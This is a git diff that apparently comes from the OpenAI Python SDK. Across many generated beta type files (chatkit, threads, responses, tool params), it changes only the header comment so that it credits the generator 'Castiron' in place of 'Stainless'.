diff --git a/src/openai/types/beta/beta_tool_search_tool_param.py b/src/openai/types/beta/beta_tool_search_tool_param.py
index 046445307e..71febf25c9 100644
--- a/src/openai/types/beta/beta_tool_search_tool_param.py
+++ b/src/openai/types/beta/beta_tool_search_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_web_search_preview_tool.py b/src/openai/types/beta/beta_web_search_preview_tool.py
index fa8fe73e55..51e384045c 100644
--- a/src/openai/types/beta/beta_web_search_preview_tool.py
+++ b/src/openai/types/beta/beta_web_search_preview_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_web_search_preview_tool_param.py b/src/openai/types/beta/beta_web_search_preview_tool_param.py
index f2ffb7e3ce..085befa3d6 100644
--- a/src/openai/types/beta/beta_web_search_preview_tool_param.py
+++ b/src/openai/types/beta/beta_web_search_preview_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_web_search_tool.py b/src/openai/types/beta/beta_web_search_tool.py
index 3c44ef75dc..4a79fcce22 100644
--- a/src/openai/types/beta/beta_web_search_tool.py
+++ b/src/openai/types/beta/beta_web_search_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_web_search_tool_param.py b/src/openai/types/beta/beta_web_search_tool_param.py
index 0a99714620..9a879482ed 100644
--- a/src/openai/types/beta/beta_web_search_tool_param.py
+++ b/src/openai/types/beta/beta_web_search_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit/__init__.py b/src/openai/types/beta/chatkit/__init__.py
index eafed9dd99..162251827d 100644
--- a/src/openai/types/beta/chatkit/__init__.py
+++ b/src/openai/types/beta/chatkit/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit/chat_session.py b/src/openai/types/beta/chatkit/chat_session.py
index 9db9fc93a0..ad3bf50333 100644
--- a/src/openai/types/beta/chatkit/chat_session.py
+++ b/src/openai/types/beta/chatkit/chat_session.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/chatkit/chat_session_automatic_thread_titling.py b/src/openai/types/beta/chatkit/chat_session_automatic_thread_titling.py
index 1d95255e06..353083bf5c 100644
--- a/src/openai/types/beta/chatkit/chat_session_automatic_thread_titling.py
+++ b/src/openai/types/beta/chatkit/chat_session_automatic_thread_titling.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ...._models import BaseModel
diff --git a/src/openai/types/beta/chatkit/chat_session_chatkit_configuration.py b/src/openai/types/beta/chatkit/chat_session_chatkit_configuration.py
index f9fa0ceff5..e18ec5db7b 100644
--- a/src/openai/types/beta/chatkit/chat_session_chatkit_configuration.py
+++ b/src/openai/types/beta/chatkit/chat_session_chatkit_configuration.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ...._models import BaseModel
from .chat_session_history import ChatSessionHistory
diff --git a/src/openai/types/beta/chatkit/chat_session_chatkit_configuration_param.py b/src/openai/types/beta/chatkit/chat_session_chatkit_configuration_param.py
index 834de71e71..d94b6b7510 100644
--- a/src/openai/types/beta/chatkit/chat_session_chatkit_configuration_param.py
+++ b/src/openai/types/beta/chatkit/chat_session_chatkit_configuration_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit/chat_session_expires_after_param.py b/src/openai/types/beta/chatkit/chat_session_expires_after_param.py
index c1de8a767a..b67f4158be 100644
--- a/src/openai/types/beta/chatkit/chat_session_expires_after_param.py
+++ b/src/openai/types/beta/chatkit/chat_session_expires_after_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit/chat_session_file_upload.py b/src/openai/types/beta/chatkit/chat_session_file_upload.py
index 0275859d27..fc13e884a5 100644
--- a/src/openai/types/beta/chatkit/chat_session_file_upload.py
+++ b/src/openai/types/beta/chatkit/chat_session_file_upload.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/beta/chatkit/chat_session_history.py b/src/openai/types/beta/chatkit/chat_session_history.py
index 54690009c2..c54eb69aeb 100644
--- a/src/openai/types/beta/chatkit/chat_session_history.py
+++ b/src/openai/types/beta/chatkit/chat_session_history.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/beta/chatkit/chat_session_rate_limits.py b/src/openai/types/beta/chatkit/chat_session_rate_limits.py
index 7c5bd94e76..77feac455e 100644
--- a/src/openai/types/beta/chatkit/chat_session_rate_limits.py
+++ b/src/openai/types/beta/chatkit/chat_session_rate_limits.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ...._models import BaseModel
diff --git a/src/openai/types/beta/chatkit/chat_session_rate_limits_param.py b/src/openai/types/beta/chatkit/chat_session_rate_limits_param.py
index 578f20b0c3..b7c58a476a 100644
--- a/src/openai/types/beta/chatkit/chat_session_rate_limits_param.py
+++ b/src/openai/types/beta/chatkit/chat_session_rate_limits_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit/chat_session_status.py b/src/openai/types/beta/chatkit/chat_session_status.py
index a483099c6c..2b17aec024 100644
--- a/src/openai/types/beta/chatkit/chat_session_status.py
+++ b/src/openai/types/beta/chatkit/chat_session_status.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/chatkit/chat_session_workflow_param.py b/src/openai/types/beta/chatkit/chat_session_workflow_param.py
index abf52de526..44d113ca9b 100644
--- a/src/openai/types/beta/chatkit/chat_session_workflow_param.py
+++ b/src/openai/types/beta/chatkit/chat_session_workflow_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit/chatkit_attachment.py b/src/openai/types/beta/chatkit/chatkit_attachment.py
index 7750925e03..d00098e337 100644
--- a/src/openai/types/beta/chatkit/chatkit_attachment.py
+++ b/src/openai/types/beta/chatkit/chatkit_attachment.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/chatkit/chatkit_response_output_text.py b/src/openai/types/beta/chatkit/chatkit_response_output_text.py
index 1348fed2b2..3baa2f6917 100644
--- a/src/openai/types/beta/chatkit/chatkit_response_output_text.py
+++ b/src/openai/types/beta/chatkit/chatkit_response_output_text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/chatkit/chatkit_thread.py b/src/openai/types/beta/chatkit/chatkit_thread.py
index 32075233d8..b85ef635c9 100644
--- a/src/openai/types/beta/chatkit/chatkit_thread.py
+++ b/src/openai/types/beta/chatkit/chatkit_thread.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/chatkit/chatkit_thread_assistant_message_item.py b/src/openai/types/beta/chatkit/chatkit_thread_assistant_message_item.py
index 337f53a83d..6966555bd9 100644
--- a/src/openai/types/beta/chatkit/chatkit_thread_assistant_message_item.py
+++ b/src/openai/types/beta/chatkit/chatkit_thread_assistant_message_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/beta/chatkit/chatkit_thread_item_list.py b/src/openai/types/beta/chatkit/chatkit_thread_item_list.py
index 049ca54429..3646dcc3ba 100644
--- a/src/openai/types/beta/chatkit/chatkit_thread_item_list.py
+++ b/src/openai/types/beta/chatkit/chatkit_thread_item_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/chatkit/chatkit_thread_user_message_item.py b/src/openai/types/beta/chatkit/chatkit_thread_user_message_item.py
index d7552c4f2e..bb728946b1 100644
--- a/src/openai/types/beta/chatkit/chatkit_thread_user_message_item.py
+++ b/src/openai/types/beta/chatkit/chatkit_thread_user_message_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/chatkit/chatkit_widget_item.py b/src/openai/types/beta/chatkit/chatkit_widget_item.py
index a269c736fb..6aad95228b 100644
--- a/src/openai/types/beta/chatkit/chatkit_widget_item.py
+++ b/src/openai/types/beta/chatkit/chatkit_widget_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/chatkit/session_create_params.py b/src/openai/types/beta/chatkit/session_create_params.py
index 1803d18cf6..ba79d88152 100644
--- a/src/openai/types/beta/chatkit/session_create_params.py
+++ b/src/openai/types/beta/chatkit/session_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit/thread_delete_response.py b/src/openai/types/beta/chatkit/thread_delete_response.py
index 45b686bf8b..a8e069a2ad 100644
--- a/src/openai/types/beta/chatkit/thread_delete_response.py
+++ b/src/openai/types/beta/chatkit/thread_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/chatkit/thread_list_items_params.py b/src/openai/types/beta/chatkit/thread_list_items_params.py
index 95c959d719..3f36caf685 100644
--- a/src/openai/types/beta/chatkit/thread_list_items_params.py
+++ b/src/openai/types/beta/chatkit/thread_list_items_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit/thread_list_params.py b/src/openai/types/beta/chatkit/thread_list_params.py
index bb759c7ea3..2163c8cc42 100644
--- a/src/openai/types/beta/chatkit/thread_list_params.py
+++ b/src/openai/types/beta/chatkit/thread_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/chatkit_workflow.py b/src/openai/types/beta/chatkit_workflow.py
index b6f5b55b4a..214f6da05c 100644
--- a/src/openai/types/beta/chatkit_workflow.py
+++ b/src/openai/types/beta/chatkit_workflow.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Union, Optional
diff --git a/src/openai/types/beta/code_interpreter_tool.py b/src/openai/types/beta/code_interpreter_tool.py
index 17ab3de629..c02b9b245e 100644
--- a/src/openai/types/beta/code_interpreter_tool.py
+++ b/src/openai/types/beta/code_interpreter_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/code_interpreter_tool_param.py b/src/openai/types/beta/code_interpreter_tool_param.py
index 4f6916d756..9b5ded2507 100644
--- a/src/openai/types/beta/code_interpreter_tool_param.py
+++ b/src/openai/types/beta/code_interpreter_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/file_search_tool.py b/src/openai/types/beta/file_search_tool.py
index 9e33249e0b..24ddeeeb32 100644
--- a/src/openai/types/beta/file_search_tool.py
+++ b/src/openai/types/beta/file_search_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/file_search_tool_param.py b/src/openai/types/beta/file_search_tool_param.py
index 9906b4b2a4..6aaa7eb5a8 100644
--- a/src/openai/types/beta/file_search_tool_param.py
+++ b/src/openai/types/beta/file_search_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/function_tool.py b/src/openai/types/beta/function_tool.py
index f9227678df..172048caba 100644
--- a/src/openai/types/beta/function_tool.py
+++ b/src/openai/types/beta/function_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/function_tool_param.py b/src/openai/types/beta/function_tool_param.py
index d906e02b88..da09db41c9 100644
--- a/src/openai/types/beta/function_tool_param.py
+++ b/src/openai/types/beta/function_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index 2d79a5a718..519887d0ed 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 739d8300e3..139aa2ee25 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/response_retrieve_params.py b/src/openai/types/beta/response_retrieve_params.py
index 2afbcca766..6213605a70 100644
--- a/src/openai/types/beta/response_retrieve_params.py
+++ b/src/openai/types/beta/response_retrieve_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/responses/__init__.py b/src/openai/types/beta/responses/__init__.py
index da68be9cc8..ffc555ce68 100644
--- a/src/openai/types/beta/responses/__init__.py
+++ b/src/openai/types/beta/responses/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/responses/beta_response_item_list.py b/src/openai/types/beta/responses/beta_response_item_list.py
index fcb24bc4f6..b62baab4a9 100644
--- a/src/openai/types/beta/responses/beta_response_item_list.py
+++ b/src/openai/types/beta/responses/beta_response_item_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/beta/responses/input_item_list_params.py b/src/openai/types/beta/responses/input_item_list_params.py
index 998e90d516..ec3da95238 100644
--- a/src/openai/types/beta/responses/input_item_list_params.py
+++ b/src/openai/types/beta/responses/input_item_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/responses/input_token_count_params.py b/src/openai/types/beta/responses/input_token_count_params.py
index 46413246b4..ce3532ab4c 100644
--- a/src/openai/types/beta/responses/input_token_count_params.py
+++ b/src/openai/types/beta/responses/input_token_count_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/responses/input_token_count_response.py b/src/openai/types/beta/responses/input_token_count_response.py
index 37b2e7e49f..d21f19726d 100644
--- a/src/openai/types/beta/responses/input_token_count_response.py
+++ b/src/openai/types/beta/responses/input_token_count_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/thread.py b/src/openai/types/beta/thread.py
index 83d9055194..e0069c618d 100644
--- a/src/openai/types/beta/thread.py
+++ b/src/openai/types/beta/thread.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/thread_create_and_run_params.py b/src/openai/types/beta/thread_create_and_run_params.py
index 3d3d5d4f2e..2e0d616ac9 100644
--- a/src/openai/types/beta/thread_create_and_run_params.py
+++ b/src/openai/types/beta/thread_create_and_run_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/thread_create_params.py b/src/openai/types/beta/thread_create_params.py
index b823d1c263..3e66b71b7b 100644
--- a/src/openai/types/beta/thread_create_params.py
+++ b/src/openai/types/beta/thread_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/thread_deleted.py b/src/openai/types/beta/thread_deleted.py
index d385626319..e864c90157 100644
--- a/src/openai/types/beta/thread_deleted.py
+++ b/src/openai/types/beta/thread_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/thread_update_params.py b/src/openai/types/beta/thread_update_params.py
index e000edc05f..e0855a22ac 100644
--- a/src/openai/types/beta/thread_update_params.py
+++ b/src/openai/types/beta/thread_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/__init__.py b/src/openai/types/beta/threads/__init__.py
index 70853177bd..334600ab9f 100644
--- a/src/openai/types/beta/threads/__init__.py
+++ b/src/openai/types/beta/threads/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/annotation.py b/src/openai/types/beta/threads/annotation.py
index 13c10abf4d..cd57b8b5f6 100644
--- a/src/openai/types/beta/threads/annotation.py
+++ b/src/openai/types/beta/threads/annotation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/annotation_delta.py b/src/openai/types/beta/threads/annotation_delta.py
index c7c6c89837..a30953e034 100644
--- a/src/openai/types/beta/threads/annotation_delta.py
+++ b/src/openai/types/beta/threads/annotation_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/file_citation_annotation.py b/src/openai/types/beta/threads/file_citation_annotation.py
index 929da0ac56..68264fa070 100644
--- a/src/openai/types/beta/threads/file_citation_annotation.py
+++ b/src/openai/types/beta/threads/file_citation_annotation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/file_citation_delta_annotation.py b/src/openai/types/beta/threads/file_citation_delta_annotation.py
index 591e322332..cc00e85d4c 100644
--- a/src/openai/types/beta/threads/file_citation_delta_annotation.py
+++ b/src/openai/types/beta/threads/file_citation_delta_annotation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/file_path_annotation.py b/src/openai/types/beta/threads/file_path_annotation.py
index d3c144c2fc..48b5bd9687 100644
--- a/src/openai/types/beta/threads/file_path_annotation.py
+++ b/src/openai/types/beta/threads/file_path_annotation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/file_path_delta_annotation.py b/src/openai/types/beta/threads/file_path_delta_annotation.py
index 5416874749..0c9ad1e647 100644
--- a/src/openai/types/beta/threads/file_path_delta_annotation.py
+++ b/src/openai/types/beta/threads/file_path_delta_annotation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_file.py b/src/openai/types/beta/threads/image_file.py
index 6000d97500..f28be3d7cb 100644
--- a/src/openai/types/beta/threads/image_file.py
+++ b/src/openai/types/beta/threads/image_file.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_file_content_block.py b/src/openai/types/beta/threads/image_file_content_block.py
index 5a082cd488..63b0cc936d 100644
--- a/src/openai/types/beta/threads/image_file_content_block.py
+++ b/src/openai/types/beta/threads/image_file_content_block.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_file_content_block_param.py b/src/openai/types/beta/threads/image_file_content_block_param.py
index da095a5ff6..59ad825d74 100644
--- a/src/openai/types/beta/threads/image_file_content_block_param.py
+++ b/src/openai/types/beta/threads/image_file_content_block_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/image_file_delta.py b/src/openai/types/beta/threads/image_file_delta.py
index 4581184c7a..270c275fad 100644
--- a/src/openai/types/beta/threads/image_file_delta.py
+++ b/src/openai/types/beta/threads/image_file_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_file_delta_block.py b/src/openai/types/beta/threads/image_file_delta_block.py
index ed17f7ff3b..3ffd3fadca 100644
--- a/src/openai/types/beta/threads/image_file_delta_block.py
+++ b/src/openai/types/beta/threads/image_file_delta_block.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_file_param.py b/src/openai/types/beta/threads/image_file_param.py
index e4a85358b9..6fd4342332 100644
--- a/src/openai/types/beta/threads/image_file_param.py
+++ b/src/openai/types/beta/threads/image_file_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/image_url.py b/src/openai/types/beta/threads/image_url.py
index d1fac147b2..d55ffde5a0 100644
--- a/src/openai/types/beta/threads/image_url.py
+++ b/src/openai/types/beta/threads/image_url.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_url_content_block.py b/src/openai/types/beta/threads/image_url_content_block.py
index 8dc1f16a7a..a78ede90e9 100644
--- a/src/openai/types/beta/threads/image_url_content_block.py
+++ b/src/openai/types/beta/threads/image_url_content_block.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_url_content_block_param.py b/src/openai/types/beta/threads/image_url_content_block_param.py
index a5c59e02c2..02c51249a1 100644
--- a/src/openai/types/beta/threads/image_url_content_block_param.py
+++ b/src/openai/types/beta/threads/image_url_content_block_param.py
